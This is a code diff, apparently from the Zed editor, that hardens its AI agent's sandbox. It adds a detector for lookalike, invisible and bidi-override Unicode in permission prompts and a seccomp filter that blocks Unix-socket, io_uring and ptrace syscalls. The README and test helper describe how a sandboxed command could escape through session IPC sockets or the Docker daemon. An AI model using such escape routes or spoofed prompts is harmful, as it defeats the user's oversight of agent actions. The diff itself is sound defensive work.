@@ -9398,13 +9672,22 @@ impl ThreadView {
                             }
                         };
 
-                        let this = this.start_icon(icon);
+                        // An "allow" choice is disabled while a surprising-Unicode
+                        // warning is unacknowledged; "deny"/"retry" stay enabled.
+                        let is_allow = matches!(
+                            option.kind,
+                            acp::PermissionOptionKind::AllowOnce
+                                | acp::PermissionOptionKind::AllowAlways
+                        ) && !is_retry;
+                        let disabled = allow_disabled && is_allow;
+
+                        let this = this.start_icon(icon).disabled(disabled);
 
                         let Some(action) = action else {
                             return this;
                         };
 
-                        if !is_first || seen_kinds.contains(&option.kind) {
+                        if !is_first || disabled || seen_kinds.contains(&option.kind) {
                             return this;
                         }
 
diff --git a/crates/agent_ui/src/unicode_confusables.rs b/crates/agent_ui/src/unicode_confusables.rs
new file mode 100644
index 00000000000000..3b1ea11eb21b2c
--- /dev/null
+++ b/crates/agent_ui/src/unicode_confusables.rs
@@ -0,0 +1,244 @@
+//! Detection of "surprising" Unicode characters in the domains and paths shown
+//! in sandbox privilege-escalation prompts.
+//!
+//! Homoglyph/confusable attacks (a Cyrillic `а` standing in for a Latin `a`),
+//! invisible characters (zero-width spaces), and bidirectional overrides can
+//! make a requested domain or path look like something it is not, tricking the
+//! user into granting access to the wrong target. Domains reach the prompt in
+//! Punycode (`xn--…`) ASCII form, so a lookalike host is decoded back to
+//! Unicode before scanning; paths are scanned as they are displayed.
+
+use unicode_script::UnicodeScript as _;
+
+/// Why a character in a domain or path is considered surprising.
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub enum SuspiciousKind {
+    /// A bidirectional control that can visually reorder surrounding text (for
+    /// example U+202E RIGHT-TO-LEFT OVERRIDE) — the classic "Trojan Source"
+    /// trick.
+    BidiControl,
+    /// A zero-width, invisible, or non-ASCII whitespace formatting character.
+    Invisible,
+    /// A visible non-ASCII character that can be confused with ASCII (a
+    /// homoglyph) or that mixes an unexpected script into otherwise-ASCII text.
+    Confusable,
+}
+
+/// A single surprising character discovered while scanning a domain or path.
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub struct SuspiciousChar {
+    pub character: char,
+    pub kind: SuspiciousKind,
+}
+
+impl SuspiciousChar {
+    /// A human-readable, one-line description for the approval banner, such as
+    /// `‘а’ (U+0430 Cyrillic)` or `U+202E right-to-left override`.
+    pub fn description(&self) -> String {
+        let codepoint = format!("U+{:04X}", self.character as u32);
+        match self.kind {
+            SuspiciousKind::Confusable => {
+                format!(
+                    "‘{}’ ({codepoint} {})",
+                    self.character,
+                    self.character.script().full_name()
+                )
+            }
+            // Bidi controls and invisible characters have no meaningful glyph to
+            // show (and printing them could itself reorder the banner text), so
+            // we render only the codepoint and a name.
+            SuspiciousKind::BidiControl | SuspiciousKind::Invisible => {
+                match well_known_name(self.character) {
+                    Some(name) => format!("{codepoint} {name}"),
+                    None => codepoint,
+                }
+            }
+        }
+    }
+}
+
+/// Scan a raw string for surprising Unicode characters, returning each distinct
+/// offending character once, in order of first appearance.
+pub fn scan(text: &str) -> Vec<SuspiciousChar> {
+    let mut result: Vec<SuspiciousChar> = Vec::new();
+    for character in text.chars() {
+        if character.is_ascii() {
+            continue;
+        }
+        if result.iter().any(|found| found.character == character) {
+            continue;
+        }
+        result.push(SuspiciousChar {
+            character,
+            kind: classify(character),
+        });
+    }
+    result
+}
+
+/// Scan a host for surprising characters, first decoding any IDN/Punycode
+/// (`xn--…`) labels back to Unicode so a lookalike domain that reaches us as
+/// ASCII is still caught. Returns the decoded (Unicode) host — which is what the
+/// banner shows the user — alongside the findings. When nothing is surprising
+/// the returned host equals the input.
+pub fn scan_host(host: &str) -> (String, Vec<SuspiciousChar>) {
+    // `domain_to_unicode` never fails destructively: on error it still returns a
+    // best-effort decoding, which is exactly what we want to scan and show.
+    let (decoded, _result) = idna::domain_to_unicode(host);
+    let findings = scan(&decoded);
+    (decoded, findings)
+}
+
+fn classify(character: char) -> SuspiciousKind {
+    if is_bidi_control(character) {
+        SuspiciousKind::BidiControl
+    } else if is_invisible(character) {
+        SuspiciousKind::Invisible
+    } else {
+        SuspiciousKind::Confusable
+    }
+}
+
+fn is_bidi_control(character: char) -> bool {
+    matches!(character,
+        '\u{061C}' // ARABIC LETTER MARK
+        | '\u{200E}' // LEFT-TO-RIGHT MARK
+        | '\u{200F}' // RIGHT-TO-LEFT MARK
+        | '\u{202A}'..='\u{202E}' // LRE, RLE, PDF, LRO, RLO
+        | '\u{2066}'..='\u{2069}' // LRI, RLI, FSI, PDI
+    )
+}
+
+fn is_invisible(character: char) -> bool {
+    matches!(character,
+        '\u{00AD}' // SOFT HYPHEN
+        | '\u{180E}' // MONGOLIAN VOWEL SEPARATOR
+        | '\u{200B}' // ZERO WIDTH SPACE
+        | '\u{200C}' // ZERO WIDTH NON-JOINER
+        | '\u{200D}' // ZERO WIDTH JOINER
+        | '\u{2060}' // WORD JOINER
+        | '\u{2061}'..='\u{2064}' // invisible math operators
+        | '\u{FEFF}' // ZERO WIDTH NO-BREAK SPACE (BOM)
+    ) || is_non_ascii_space(character)
+        // Any remaining control/format character (categories Cc/Cf) is
+        // invisible for our purposes.
+        || character.is_control()
+}
+
+fn is_non_ascii_space(character: char) -> bool {
+    matches!(
+        character,
+        '\u{00A0}' // NO-BREAK SPACE
+        | '\u{1680}' // OGHAM SPACE MARK
+        | '\u{2000}'
+            ..='\u{200A}' // EN QUAD … HAIR SPACE
+        | '\u{202F}' // NARROW NO-BREAK SPACE
+        | '\u{205F}' // MEDIUM MATHEMATICAL SPACE
+        | '\u{3000}' // IDEOGRAPHIC SPACE
+    )
+}
+
+/// Friendly names for the invisible/bidi characters most likely to show up in an
+/// attack, so the banner reads better than a bare codepoint.
+fn well_known_name(character: char) -> Option<&'static str> {
+    Some(match character {
+        '\u{00A0}' => "no-break space",
+        '\u{00AD}' => "soft hyphen",
+        '\u{061C}' => "arabic letter mark",
+        '\u{180E}' => "mongolian vowel separator",
+        '\u{200B}' => "zero-width space",
+        '\u{200C}' => "zero-width non-joiner",
+        '\u{200D}' => "zero-width joiner",
+        '\u{200E}' => "left-to-right mark",
+        '\u{200F}' => "right-to-left mark",
+        '\u{202A}' => "left-to-right embedding",
+        '\u{202B}' => "right-to-left embedding",
+        '\u{202C}' => "pop directional formatting",
+        '\u{202D}' => "left-to-right override",
+        '\u{202E}' => "right-to-left override",
+        '\u{2060}' => "word joiner",
+        '\u{2066}' => "left-to-right isolate",
+        '\u{2067}' => "right-to-left isolate",
+        '\u{2068}' => "first strong isolate",
+        '\u{2069}' => "pop directional isolate",
+        '\u{3000}' => "ideographic space",
+        '\u{FEFF}' => "zero-width no-break space",
+        _ => return None,
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn plain_ascii_is_never_flagged() {
+        assert!(scan("github.com").is_empty());
+        assert!(scan("/home/user/project/src/main.rs").is_empty());
+        assert!(scan("*.npmjs.org").is_empty());
+    }
+
+    #[test]
+    fn detects_cyrillic_homoglyph() {
+        // "gіthub.com" with a Cyrillic "і" (U+0456).
+        let findings = scan("g\u{0456}thub.com");
+        assert_eq!(findings.len(), 1);
+        assert_eq!(findings[0].character, '\u{0456}');
+        assert_eq!(findings[0].kind, SuspiciousKind::Confusable);
+        assert!(findings[0].description().contains("U+0456"));
+        assert!(findings[0].description().contains("Cyrillic"));
+    }
+
+    #[test]
+    fn detects_bidi_override() {
+        let findings = scan("safe\u{202E}txt.exe");
+        assert_eq!(findings.len(), 1);
+        assert_eq!(findings[0].kind, SuspiciousKind::BidiControl);
+        assert_eq!(findings[0].description(), "U+202E right-to-left override");
+    }
+
+    #[test]
+    fn detects_zero_width_space() {
+        let findings = scan("git\u{200B}hub.com");
+        assert_eq!(findings.len(), 1);
+        assert_eq!(findings[0].kind, SuspiciousKind::Invisible);
+        assert_eq!(findings[0].description(), "U+200B zero-width space");
+    }
+
+    #[test]
+    fn deduplicates_repeated_characters() {
+        // Two Cyrillic "а" (U+0430) should be reported once.
+        let findings = scan("\u{0430}bc\u{0430}");
+        assert_eq!(findings.len(), 1);
+    }
+
+    #[test]
+    fn scan_host_decodes_punycode_lookalike() {
+        // "аpple.com" (leading Cyrillic а, U+0430) encodes to this Punycode.
+        let (decoded, findings) = scan_host("xn--pple-43d.com");
+        assert_eq!(decoded, "\u{0430}pple.com");
+        assert_eq!(findings.len(), 1);
+        assert_eq!(findings[0].character, '\u{0430}');
+        assert_eq!(findings[0].kind, SuspiciousKind::Confusable);
+    }
+
+    #[test]
+    fn scan_host_leaves_plain_domains_alone() {
+        let (decoded, findings) = scan_host("github.com");
+        assert_eq!(decoded, "github.com");
+        assert!(findings.is_empty());
+    }
+
+    #[test]
+    fn scan_host_handles_wildcard_subdomain_patterns() {
+        // Host patterns can carry a leading `*.` wildcard; decoding must not
+        // choke on it, and a lookalike label behind it is still caught.
+        let (_decoded, findings) = scan_host("*.xn--pple-43d.com");
+        assert_eq!(findings.len(), 1);
+        assert_eq!(findings[0].character, '\u{0430}');
+
+        let (decoded, findings) = scan_host("*.github.com");
+        assert_eq!(decoded, "*.github.com");
+        assert!(findings.is_empty());
+    }
+}
diff --git a/crates/client/src/zed_urls.rs b/crates/client/src/zed_urls.rs
index 6eb69b83273fbf..d9cd62552265d4 100644
--- a/crates/client/src/zed_urls.rs
+++ b/crates/client/src/zed_urls.rs
@@ -69,6 +69,23 @@ pub fn skills_docs(cx: &App) -> String {
     format!("{docs_url}/ai/skills", docs_url = docs_url(cx))
 }
 
+/// Returns the URL to Zed's Agent sandboxing documentation.
+///
+/// Pass `section` to deep-link to a specific section anchor on the page (for
+/// example, `Some("installing-bubblewrap")`); pass `None` to link to the top of
+/// the page.
+///
+/// Unlike the account/app links above, this targets `zed.dev/docs` (via
+/// [`release_channel::docs_url`]) rather than the configured `server_url`: the
+/// docs are a static site hosted on `zed.dev`, so pointing at a local dev
+/// `server_url` would 404.
+pub fn sandboxing_docs(section: Option<&str>, cx: &App) -> String {
+    let base = release_channel::docs_url("ai/sandboxing", cx);
+    match section {
+        Some(section) => format!("{base}#{section}"),
+        None => base,
+    }
+}
 pub fn llm_provider_docs(cx: &App) -> String {
     format!("{docs_url}/ai/llm-providers", docs_url = docs_url(cx))
 }
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index 31096cc38bcd3b..f9db079a4917e4 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -118,14 +118,3 @@ impl FeatureFlag for AutoWatchFeatureFlag {
     type Value = PresenceFlag;
 }
 register_feature_flag!(AutoWatchFeatureFlag);
-
-/// Wraps agent-run terminal commands in an OS-level sandbox where supported
-/// (currently macOS Seatbelt only). When off, terminal commands run with the
-/// agent's full ambient permissions, as they always have.
-pub struct SandboxingFeatureFlag;
-
-impl FeatureFlag for SandboxingFeatureFlag {
-    const NAME: &'static str = "sandboxing";
-    type Value = PresenceFlag;
-}
-register_feature_flag!(SandboxingFeatureFlag);
diff --git a/crates/sandbox/Cargo.toml b/crates/sandbox/Cargo.toml
index c9211dfa99f57d..58951c163177c0 100644
--- a/crates/sandbox/Cargo.toml
+++ b/crates/sandbox/Cargo.toml
@@ -58,6 +58,10 @@ libc.workspace = true
 # Safe wrappers for the SCM_RIGHTS fd-passing and `fstat` the bind validator
 # needs, so that code doesn't hand-roll `msghdr`/`CMSG_*`/`mem::zeroed` unsafe.
 nix = { workspace = true, features = ["fs", "socket", "uio"] }
+# Builds the in-sandbox seccomp-BPF filter that blocks the untrusted command from
+# creating `AF_UNIX` (and other non-IP) sockets, `io_uring`, `ptrace`, etc. — the
+# syscall-level half of preventing session-IPC-socket sandbox escapes.
+seccompiler.workspace = true
 
 [target.'cfg(target_os = "linux")'.dev-dependencies]
 tempfile.workspace = true
diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md
index ab23ecad891a83..d2b24249737343 100644
--- a/crates/sandbox/README.md
+++ b/crates/sandbox/README.md
@@ -228,6 +228,47 @@ If the attacker managed to change a path to point to a different inode to when
 the FD was captured, the check will fail, and we don't run the untrusted
 command.
 
+#### Blocking IPC-socket escapes (seccomp)
+
+A read-only bind mount does **not** stop a process from `connect()`-ing to a
+Unix-domain socket: the kernel deliberately exempts sockets (and FIFOs, and
+device nodes) from the read-only-filesystem write check, because connecting
+modifies no filesystem data. So even with `--ro-bind / /`, a sandboxed command
+could reach a session IPC socket in `$XDG_RUNTIME_DIR` (a Wayland compositor,
+the D-Bus session bus, ...) or a system socket like the Docker daemon, and use
+it to run a process *outside* the sandbox — defeating both the filesystem and
+network restrictions, regardless of the read/write grant. `--unshare-net` does
+not help: it isolates abstract sockets and TCP/IP, but these are pathname
+sockets on the bound filesystem.
+
+The fix is a seccomp-BPF filter (built with `seccompiler`) installed on the
+untrusted command just before it runs. Rather than trying to hide every socket,
+it stops the command from *obtaining* one it could escape through:
+
+- `socket()` is allowed only for `AF_INET`/`AF_INET6`/`AF_NETLINK`; every other
+  family — notably `AF_UNIX` (session IPC) and `AF_VSOCK` (the VM host) — is
+  denied with `EPERM`.
+- `socketpair()` is allowed only for `AF_UNIX` (a process-local pair that can't
+  reach anything outside the sandbox).
+- `io_uring_*` is denied, so its ring operations can't create/connect a socket
+  without going through the filtered syscalls; `ptrace`/`process_vm_*` are denied.
+- `connect`/`recvmsg`/`sendmsg`/`bind`/`listen`/`accept` stay allowed. With no
+  way to create a forbidden socket — and, by fd hygiene, none inherited — there
+  is nothing dangerous for them to act on, and blocking `connect` would break
+  legitimate loopback/proxy use. `seccompiler`'s architecture check kills
+  foreign-arch syscalls, closing the 32-bit (`socketcall`) bypass.
+
+The filter must apply to the command but **not** to the launcher/bridge process,
+which keeps using `AF_UNIX` to reach the host proxy for every request. So it is
+installed inline right before `exec` in the direct case, and via the child's
+`pre_exec` in the restricted-network bridge case. Because the filter lives in the
+in-sandbox launcher, the launcher is now **always** run (even when there are no
+writable binds to validate and no bridge), so the filter is always installed.
+
+This is Linux/WSL-specific. On macOS, Seatbelt gates Unix-socket `connect` as a
+separate `network-outbound` capability that is denied by default, so the same
+escape is already closed there without a seccomp filter.
+
 ### Windows
 
 > [!NOTE] The Windows implementation depends heavily on the details of the Linux
@@ -241,6 +282,27 @@ To work around this, we launch `zed --wsl-sandbox-helper` in WSL, which is a
 shim that captures the FDs and sets up the socket. We download this to
 `~/.local/libexec/zed`, so that it does not conflict with the Windows `zed.exe`
 binary that WSL will inject into the Linux `$PATH` (yes the `.exe` is stripped).
+
+### MacOS
+
+MacOS uses seatbelt, which enforces a rules file. This generally makes
+enforcement more straightforward. Unlike Linux, paths are resolved and checked
+at *syscall time*, meaning the symlink swap attack will not succeed. 
+
+However, care has to be taken with various parts of the rules file, specifically
+when it comes to `mach-lookup`. This controls access to, among other things,
+Launch Services, which allows unsandboxed code execution. 
+
+The exact policy is defined in `src/macos_seatbelt.rs`, and is inspired by a
+mixture of Codex and Chromium's rules. 
+
+Some of the denied services are somewhat questionable (i.e.
+`com.apple.FontObjectsServer`) - there are legitimate uses for an application to
+use this, but on the other hand, fonts can contain executable code, and have
+historically been exploited to achieve RCE. Given that, in the Zed agent, it is
+easy to opt-out of the sandbox, denying seems like a good choice. But we may
+want to revisit this.
+
 ## Code design
 
 ### `HostFilesystemLocation`
diff --git a/crates/sandbox/src/bwrap_test_helper.rs b/crates/sandbox/src/bwrap_test_helper.rs
index f6aa0cb6f29377..68ef38659b2ed1 100644
--- a/crates/sandbox/src/bwrap_test_helper.rs
+++ b/crates/sandbox/src/bwrap_test_helper.rs
@@ -46,6 +46,12 @@ mod imp {
     /// successful round-trip, non-zero otherwise. Run *inside* the sandbox.
     const SUBCOMMAND_ECHO_CHECK: &str = "__echo_check";
 
+    /// Internal subcommand: connect to the unix-domain socket at the given path
+    /// and round-trip a byte through it. Exits 0 on a successful round-trip,
+    /// non-zero on any failure (including `socket(AF_UNIX)` being blocked once
+    /// the seccomp guard lands). Run *inside* the sandbox.
+    const SUBCOMMAND_UNIX_CONNECT_CHECK: &str = "__unix_connect_check";
+
     /// Default port for echo targets given as a bare hostname (e.g. `echo1`).
     const DEFAULT_ECHO_PORT: &str = "7000";
 
@@ -57,6 +63,9 @@ mod imp {
         let args: Vec<String> = std::env::args().collect();
         let result = match args.get(1).map(String::as_str) {
             Some(SUBCOMMAND_ECHO_CHECK) => run_echo_check(args.get(2).map(String::as_str)),
+            Some(SUBCOMMAND_UNIX_CONNECT_CHECK) => {
+                run_unix_connect_check(args.get(2).map(String::as_str))
+            }
             _ => run_checks(),
         };
 
@@ -93,8 +102,8 @@ mod imp {
     /// One declarative check: a sandbox policy, an operation, and the expected
     /// result. Deserialized from the JSON the Nix test produces.
     ///
-    /// Exactly one operation field (`read`, `write`, `network`, or `canCreate`)
-    /// must be set. Policy fields default to the most-confined policy
+    /// Exactly one operation field (`read`, `write`, `network`, `socketPath`, or
+    /// `canCreate`) must be set. Policy fields default to the most-confined policy
     /// (restricted filesystem with no writable paths, blocked network).
     #[derive(Debug, Default, Deserialize)]
     #[serde(rename_all = "camelCase", deny_unknown_fields)]
@@ -127,6 +136,9 @@ mod imp {
         /// the sandbox.
         #[serde(default)]
         network: Option<String>,
+        /// Connect to this unix-domain socket path from inside the sandbox.
+        #[serde(default)]
+        socket_path: Option<String>,
         /// Assert that `Sandbox::can_create` for this policy matches the value:
         /// `true` => the sandbox can be created, `false` => it cannot.
         #[serde(default)]
@@ -239,6 +251,8 @@ mod imp {
             format!("write {path}")
         } else if let Some(host) = &check.network {
             format!("network {host}")
+        } else if let Some(path) = &check.socket_path {
+            format!("socket_connect {path}")
         } else if let Some(expected) = check.can_create {
             format!("can_create == {expected}")
         } else {
@@ -277,6 +291,8 @@ mod imp {
             run_write(check, path)?
         } else if let Some(host) = &check.network {
             run_network(check, host, echo_port)?
+        } else if let Some(path) = &check.socket_path {
+            run_socket_connect(check, path)?
         } else {
             bail!("check {label:?} has no operation");
         };
@@ -354,6 +370,21 @@ mod imp {
         run_command(&mut sandbox, &exe, &[SUBCOMMAND_ECHO_CHECK, &target])
     }
 
+    /// Attempt to connect to the unix-domain socket at `path` from inside the
+    /// sandbox via the `__unix_connect_check` subcommand, returning whether the
+    /// round-trip succeeded. A read-only bind mount of `/` leaves the socket
+    /// reachable, so a sandboxed command can currently `connect()` to a session
+    /// IPC socket owned by a process *outside* the sandbox — the escape a
+    /// `socket(AF_UNIX)` seccomp filter is meant to block. When that guard lands,
+    /// `socket(AF_UNIX)` returns `EPERM`, the subcommand fails, and this returns
+    /// `false`.
+    fn run_socket_connect(check: &Check, path: &str) -> Result<bool> {
+        let exe = current_exe_str()?;
+        let policy = policy_of(check)?;
+        let mut sandbox = Sandbox::new(policy).map_err(sandbox_err)?;
+        run_command(&mut sandbox, &exe, &[SUBCOMMAND_UNIX_CONNECT_CHECK, path])
+    }
+
     fn error_matches(error: &SandboxError, expected: &str) -> bool {
         matches!(
             (error, expected),
@@ -429,6 +460,35 @@ mod imp {
         }
     }
 
+    /// Inner command: connect to the unix-domain socket at `path` and round-trip
+    /// a byte through it.
+    ///
+    /// Any failure — `socket(AF_UNIX)` being denied (how the seccomp guard will
+    /// manifest, as `EPERM`), `connect()` failing, or a bad round-trip — exits
+    /// non-zero, so the caller reads it as "not connected". A clean round-trip
+    /// (exit 0) means the socket outside the sandbox was reachable.
+    fn run_unix_connect_check(path: Option<&str>) -> Result<()> {
+        use std::os::unix::net::UnixStream;
+
+        let path = path.context("unix connect check requires a socket path argument")?;
+        let mut stream = UnixStream::connect(path)
+            .with_context(|| format!("failed to connect to unix socket {path}"))?;
+        stream.set_read_timeout(Some(Duration::from_secs(10)))?;
+        stream
+            .write_all(b"ping\n")
+            .context("failed to write to unix socket")?;
+        let mut buffer = [0u8; 32];
+        let read = stream
+            .read(&mut buffer)
+            .context("failed to read from unix socket")?;
+        let echoed = String::from_utf8_lossy(&buffer[..read]);
+        if echoed.contains("ping") {
+            Ok(())
+        } else {
+            bail!("unix socket returned unexpected data: {echoed:?}");
+        }
+    }
+
     /// Read an HTTP status line (up to the first CRLF), then drain the rest of
     /// the header block (up to the blank line) so the stream is positioned at
     /// the tunneled body.
diff --git a/crates/sandbox/src/linux_bubblewrap.rs b/crates/sandbox/src/linux_bubblewrap.rs
index 21a4602523bffe..373f3520786071 100644
--- a/crates/sandbox/src/linux_bubblewrap.rs
+++ b/crates/sandbox/src/linux_bubblewrap.rs
@@ -610,15 +610,20 @@ pub fn wrap_invocation(
 
     // Create the requested writable directories up front, with the agent's
     // ambient permissions, so each can be bind-mounted at its exact path (see
-    // `build_bwrap_args`). Without this a not-yet-existing writable path could
-    // not be bound, and the command could not create it either (its parent is
-    // read-only inside the sandbox). Best-effort: a directory we can't create is
-    // left unbound rather than widening the sandbox to an existing ancestor.
+    // `build_bwrap_args`): `bwrap` can't bind a nonexistent source, and the
+    // command can't create it either (its parent is read-only inside the
+    // sandbox). If a path still doesn't exist afterwards we can't grant the
+    // write access the agent asked for, and running anyway would give the
+    // command silently less access than it believes it has — so fail closed with
+    // a clear error instead. (An existing *file* makes `create_dir_all` error
+    // but is fine: it exists and the `--bind` below handles it.)
     if !permissions.allow_fs_write {
         for directory in writable_dirs {
-            if let Err(error) = std::fs::create_dir_all(directory) {
-                log::warn!(
-                    "[sandbox] could not create writable directory {}: {error}",
+            if let Err(error) = std::fs::create_dir_all(directory)
+                && !directory.exists()
+            {
+                bail!(
+                    "failed to provide writable sandbox path {}: {error}",
                     directory.display()
                 );
             }
@@ -652,41 +657,41 @@ pub fn wrap_invocation(
         NetworkAccess::None | NetworkAccess::All => None,
     };
 
-    // The launcher is only needed when there is something for it to do: validate
-    // writable binds, and/or run the restricted-network bridge. Otherwise the
-    // command runs directly under bwrap.
-    if validation_socket.is_some() || bridge.is_some() {
-        bwrap_args.push(bridge_program.to_string());
-        bwrap_args.push(LAUNCHER_FLAG.to_string());
-        // Field 1: validation socket (in-sandbox path) or sentinel.
-        bwrap_args.push(match validation_socket {
-            Some(socket) => socket.sandbox_socket_path.to_string_lossy().into_owned(),
-            None => LAUNCHER_NONE.to_string(),
-        });
-        // Fields 2-3: bridge socket (in-sandbox path) + port, or sentinels.
-        match &bridge {
-            Some((socket, port)) => {
-                bwrap_args.push(socket.to_string_lossy().into_owned());
-                bwrap_args.push(port.to_string());
-            }
-            None => {
-                bwrap_args.push(LAUNCHER_NONE.to_string());
-                bwrap_args.push(LAUNCHER_NONE.to_string());
-            }
+    // Always route through the in-sandbox launcher, even when there are no
+    // writable binds to validate and no restricted-network bridge: the launcher
+    // is where the seccomp filter is installed on the untrusted command (see
+    // `exec_command` / `run_bridge`). Absent fields are passed as the `-`
+    // sentinel, and `run_launcher` then just installs the filter and `exec`s.
+    bwrap_args.push(bridge_program.to_string());
+    bwrap_args.push(LAUNCHER_FLAG.to_string());
+    // Field 1: validation socket (in-sandbox path) or sentinel.
+    bwrap_args.push(match validation_socket {
+        Some(socket) => socket.sandbox_socket_path.to_string_lossy().into_owned(),
+        None => LAUNCHER_NONE.to_string(),
+    });
+    // Fields 2-3: bridge socket (in-sandbox path) + port, or sentinels.
+    match &bridge {
+        Some((socket, port)) => {
+            bwrap_args.push(socket.to_string_lossy().into_owned());
+            bwrap_args.push(port.to_string());
         }
-        // Field 4: the writable bind-destination paths to validate (count, then
-        // the paths), in the same order the host sends their fds.
-        let validation_paths: &[&Path] = if validation_socket.is_some() {
-            writable_dirs
-        } else {
-            &[]
-        };
-        bwrap_args.push(validation_paths.len().to_string());
-        for path in validation_paths {
-            bwrap_args.push(path.to_string_lossy().into_owned());
+        None => {
+            bwrap_args.push(LAUNCHER_NONE.to_string());
+            bwrap_args.push(LAUNCHER_NONE.to_string());
         }
-        bwrap_args.push("--".to_string());
     }
+    // Field 4: the writable bind-destination paths to validate (count, then
+    // the paths), in the same order the host sends their fds.
+    let validation_paths: &[&Path] = if validation_socket.is_some() {
+        writable_dirs
+    } else {
+        &[]
+    };
+    bwrap_args.push(validation_paths.len().to_string());
+    for path in validation_paths {
+        bwrap_args.push(path.to_string_lossy().into_owned());
+    }
+    bwrap_args.push("--".to_string());
 
     bwrap_args.push(program.to_string());
     bwrap_args.extend(args.iter().cloned());
@@ -859,9 +864,126 @@ fn validate_binds(socket_path: &Path, paths: &[PathBuf]) -> Result<()> {
     Ok(())
 }
 
+/// Build the seccomp-BPF program installed on the untrusted command before it
+/// runs. This is the syscall-level half of preventing session-IPC-socket
+/// sandbox escapes: a read-only bind mount does not stop `connect()` to a unix
+/// socket, so instead we stop the command from ever *obtaining* a non-IP socket.
+///
+/// The program (default action: allow):
+/// - `socket()` is denied (`EPERM`) unless the family is `AF_INET`/`AF_INET6`/
+///   `AF_NETLINK` — so no `AF_UNIX` (session IPC) or `AF_VSOCK` (VM host) sockets.
+/// - `socketpair()` is allowed only for `AF_UNIX` (a process-local pair that
+///   cannot reach anything outside the sandbox).
+/// - `io_uring_*` is denied, so its ring ops can't create/connect sockets
+///   without going through the filtered syscalls.
+/// - `ptrace`/`process_vm_*` are denied.
+///
+/// `connect`/`recvmsg`/`sendmsg`/`bind`/`listen`/`accept` stay allowed: with no
+/// way to create a forbidden socket (and — by fd hygiene — no forbidden fd
+/// inherited), there is nothing dangerous for them to act on, and blocking
+/// `connect` would break legitimate loopback/proxy use. Foreign-architecture
+/// syscalls are killed by seccompiler's arch check, closing the 32-bit-ABI
+/// (`socketcall`) bypass.
+///
+/// Returns `None` on an architecture seccompiler can't target (we ship on
+/// x86_64/aarch64, so that is not a configuration we run in practice).
+fn build_command_seccomp_program() -> Result<Option<seccompiler::BpfProgram>> {
+    use seccompiler::{
+        BpfProgram, SeccompAction, SeccompCmpArgLen, SeccompCmpOp, SeccompCondition, SeccompFilter,
+        SeccompRule, TargetArch,
+    };
+    use std::collections::BTreeMap;
+
+    let Ok(target_arch) = TargetArch::try_from(std::env::consts::ARCH) else {
+        return Ok(None);
+    };
+
+    // `socket(domain, ...)`: deny unless `domain` (arg0, an `int` — compare the
+    // low 32 bits) is an allowed IP/netlink family. The rule matches when the
+    // family is none of the allowed ones, and a matched rule takes the deny
+    // action; an allowed family matches no rule and falls through to `Allow`.
+    let socket_deny = SeccompRule::new(vec![
+        SeccompCondition::new(
+            0,
+            SeccompCmpArgLen::Dword,
+            SeccompCmpOp::Ne,
+            libc::AF_INET as u64,
+        )?,
+        SeccompCondition::new(
+            0,
+            SeccompCmpArgLen::Dword,
+            SeccompCmpOp::Ne,
+            libc::AF_INET6 as u64,
+        )?,
+        SeccompCondition::new(
+            0,
+            SeccompCmpArgLen::Dword,
+            SeccompCmpOp::Ne,
+            libc::AF_NETLINK as u64,
+        )?,
+    ])?;
+    // `socketpair(domain, ...)`: allow only `AF_UNIX`.
+    let socketpair_deny = SeccompRule::new(vec![SeccompCondition::new(
+        0,
+        SeccompCmpArgLen::Dword,
+        SeccompCmpOp::Ne,
+        libc::AF_UNIX as u64,
+    )?])?;
+
+    let mut rules: BTreeMap<i64, Vec<SeccompRule>> = BTreeMap::new();
+    rules.insert(libc::SYS_socket, vec![socket_deny]);
+    rules.insert(libc::SYS_socketpair, vec![socketpair_deny]);
+    // Unconditional denials (an empty rule chain always takes the match action).
+    for syscall in [
+        libc::SYS_io_uring_setup,
+        libc::SYS_io_uring_enter,
+        libc::SYS_io_uring_register,
+        libc::SYS_ptrace,
+        libc::SYS_process_vm_readv,
+        libc::SYS_process_vm_writev,
+    ] {
+        rules.insert(syscall, Vec::new());
+    }
+
+    let filter = SeccompFilter::new(
+        rules,
+        SeccompAction::Allow,
+        SeccompAction::Errno(libc::EPERM as u32),
+        target_arch,
+    )
+    .context("building sandbox command seccomp filter")?;
+    let program =
+        BpfProgram::try_from(filter).context("compiling sandbox command seccomp filter")?;
+    Ok(Some(program))
+}
+
+/// Install [`build_command_seccomp_program`] on the calling thread, which is
+/// about to become (or `exec` into) the untrusted command; the filter survives
+/// `exec`. `apply_filter` also sets `PR_SET_NO_NEW_PRIVS`. On an unsupported
+/// architecture there is no filter to install — log and proceed rather than
+/// break the sandbox on a platform we don't ship.
+fn install_command_seccomp_filter() -> Result<()> {
+    match build_command_seccomp_program()? {
+        Some(program) => seccompiler::apply_filter(&program)
+            .context("installing sandbox command seccomp filter")?,
+        None => log::warn!(
+            "[sandbox] seccomp is unavailable on {}; the unix-socket syscall guard \
+             was not installed",
+            std::env::consts::ARCH
+        ),
+    }
+    Ok(())
+}
+
 /// Replace this process with the sandboxed command. Only returns (after logging)
 /// if `exec` itself fails.
 fn exec_command(program: &OsStr, args: &[OsString]) -> ! {
+    // Lock down socket/io_uring/ptrace syscalls right before handing control to
+    // the untrusted command; the filter survives `exec`.
+    if let Err(error) = install_command_seccomp_filter() {
+        eprintln!("zed: failed to install sandbox seccomp filter: {error:#}");
+        std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+    }
     let error = Command::new(program).args(args).exec();
     eprintln!("zed: failed to exec sandboxed command: {error}");
     std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
@@ -889,7 +1011,32 @@ fn run_bridge(socket_path: PathBuf, port: u16, program: &OsStr, program_args: &[
         std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
     }
 
-    let mut child = match Command::new(program).args(program_args).spawn() {
+    // The command runs under the syscall filter, installed in the child via
+    // `pre_exec` — *this* bridge process must NOT be filtered, since it keeps
+    // using `AF_UNIX` to reach the host proxy for every request the command
+    // makes. Build the program before the fork; the child only applies it.
+    let seccomp_program = match build_command_seccomp_program() {
+        Ok(program) => program,
+        Err(error) => {
+            eprintln!("zed: failed to build sandbox seccomp filter: {error:#}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
+    };
+    let mut command = Command::new(program);
